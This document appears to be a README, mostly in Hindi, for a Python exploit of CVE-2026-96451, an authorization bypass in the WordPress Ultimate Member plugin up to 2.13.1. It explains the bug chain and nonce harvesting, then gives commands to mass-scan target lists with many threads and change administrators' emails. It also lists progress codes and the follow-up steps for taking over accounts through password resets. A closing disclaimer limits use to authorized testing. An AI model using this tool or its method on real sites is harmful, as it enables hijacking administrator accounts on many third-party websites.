
WordPress Ultimate Member <= 2.13.1 में CVE-2026-96451 के लिए Python एक्सप्लॉइट: लक्ष्य सूचियों में पंजीकरण, nonce हार्वेस्टिंग और ईमेल-परिवर्तन खाता अधिग्रहण को स्वचालित करता है।
WordPress Ultimate Member plugin <= 2.13.1 - Privilege Escalation vulnerability
Ultimate Member <= 2.13.1 — Privilege Escalation / Account Takeover
📌 आधिकारिक रिकॉर्ड: CVE-2026-96451
CVE.org से:
Ultimate Member में User-Controlled Key के माध्यम से Authorization Bypass vulnerability, जो Privilege Escalation की अनुमति देती है। यह समस्या Ultimate Member को प्रभावित करती है: n/a से 2.13.1 तक।
| फ़ील्ड | मान |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — User-Controlled Key के माध्यम से Authorization Bypass |
| 📊 CVSS 3.1 | 8.8 HIGH AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 Assigner | Patchstack |
| ⚠️ प्रभावित | Ultimate Member 2.13.1 तक |
| ✅ ठीक किया गया | 2.14.0 |
एक लॉग-इन सब्सक्राइबर किसी अन्य उपयोगकर्ता (आमतौर पर एडमिनिस्ट्रेटर) का ईमेल बदल सकता है। इसके बाद WordPress उस नए मेलबॉक्स के लिए पासवर्ड रीसेट स्वीकार कर लेता है।
um_fetch_user($user_id) कॉल करता है और ग्लोबल उपयोगकर्ता को URL में दिए गए ID पर स्विच कर देता है।download_routing() um_reset_user() के बिना लौट आता है।_um_account=1, user_email=...)।account_submit() um_user('ID') पढ़ता है — अब वह पीड़ित है — और नया ईमेल लिख देता है।download nonce wp_create_nonce($user_id . $form_id . 'um-download-nonce') है। यह उस उपयोगकर्ता ID से बंधा होता है। इसे मनमाने ढंग से नहीं बनाया जा सकता। स्क्रिप्ट इसे एक दृश्यमान /um-download/{form}/{field}/{user}/{nonce}/ लिंक से कॉपी करती है।
प्रोफ़ाइल पर एक कस्टम file या image फ़ील्ड दिखाया जाना चाहिए। अंतर्निहित प्रोफ़ाइल/कवर फ़ोटो यह लिंक उत्पन्न नहीं करतीं।
pip install requests rich
पंजीकरण, लॉगिन, nonce संग्रह, शोषण, और रीसेट जाँच स्वचालित हैं। आप मैन्युअल रूप से खाते नहीं बनाते हैं और आप मास स्कैन के लिए सब्सक्राइबर पासवर्ड पास नहीं करते हैं।
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
यह कमांड हर होस्ट पर यह करता है:
/account/ खोलें/um-download/ nonce खोजें (पहले user ID 1 को प्राथमिकता देता है, फिर किसी भी सदस्य को जिसके पास फ़ाइल हो)--email पर सेट करेंwp-login.php?action=lostpassword की जाँच करें (WordPress को यहाँ nonce की आवश्यकता नहीं होती)um_takeover.txt में लिखें--email वह मेलबॉक्स है जो लक्ष्य खाते पर रखा जाता है ताकि आप रीसेट प्राप्त कर सकें। स्क्रिप्ट इनबॉक्स को नहीं खोलती और न ही नया पासवर्ड सेट करती है। वह अंतिम चरण मैन्युअल है।
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| फ़्लैग | उद्देश्य | डिफ़ॉल्ट |
|---|---|---|
-l / --list | लक्ष्यों की फ़ाइल | — |
-u / --url | एक लक्ष्य | — |
-t / --threads | वर्कर | 10 |
-o / --output | परिणाम फ़ाइल | um_takeover.txt |
--email | पीड़ित पर लिखा जाने वाला मेलबॉक्स | स्वतः-जनित |
--target-id | पसंदीदा उपयोगकर्ता ID | 1 |
--user / --password | पंजीकरण करने के बजाय मौजूदा सब्सक्राइबर का उपयोग करें | बंद |
-v / --verbose | हर चरण प्रिंट करें | बंद |
धीमे RDP बॉक्स पर, 80–150 थ्रेड्स पर्याप्त हैं। सूची स्कैन में प्रत्येक होस्ट को लगभग 22 सेकंड मिलते हैं।
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| कोड | अर्थ |
|---|---|
RST / CHG | ईमेल बदला गया और/या रीसेट स्वीकृत — इनबॉक्स जाँचें |
UM | Ultimate Member का पता चला |
REG | ऑटो-रजिस्ट्रेशन ने एक सत्र बनाया |
rf | कोई सार्वजनिक फ़ॉर्म, CAPTCHA, अनुमोदन, या ईमेल सक्रियण नहीं |
lf | पंजीकृत हुआ लेकिन लॉगिन विफल रहा |
na | खाता पृष्ठ / nonce अनुपलब्ध |
nd | कोई दृश्यमान डाउनलोड nonce नहीं (कोई कस्टम फ़ाइल फ़ील्ड नहीं) |
nc | एक्सप्लॉइट भेजा गया, परिवर्तन की पुष्टि नहीं हुई |
no | Ultimate Member नहीं है |
कई होस्ट्स पर REG_FAIL सामान्य है। श्रृंखला केवल वहीं आगे बढ़ती है जहाँ रजिस्ट्रेशन एक सत्र बनाता है और एक डाउनलोड लिंक दृश्यमान होता है।
जब RST या CHG दिखाई दे:
--email को पास किए गए मेलबॉक्स को खोलें/wp-login.php या /wp-admin/ पर साइन इन करेंयह प्रोजेक्ट केवल अधिकृत सुरक्षा अनुसंधान के लिए है — ऐसे सिस्टम जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपके पास लिखित अनुमति है।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग, क्षति, या इस सॉफ़्टवेयर के किसी भी परिणाम के लिए कोई दायित्व स्वीकार नहीं करता। इसके उपयोग और आपके द्वारा स्कैन किए जाने वाले प्रत्येक लक्ष्य के लिए पूरी ज़िम्मेदारी केवल आपकी है।
By: Nxploited ( Khaled Alenazi )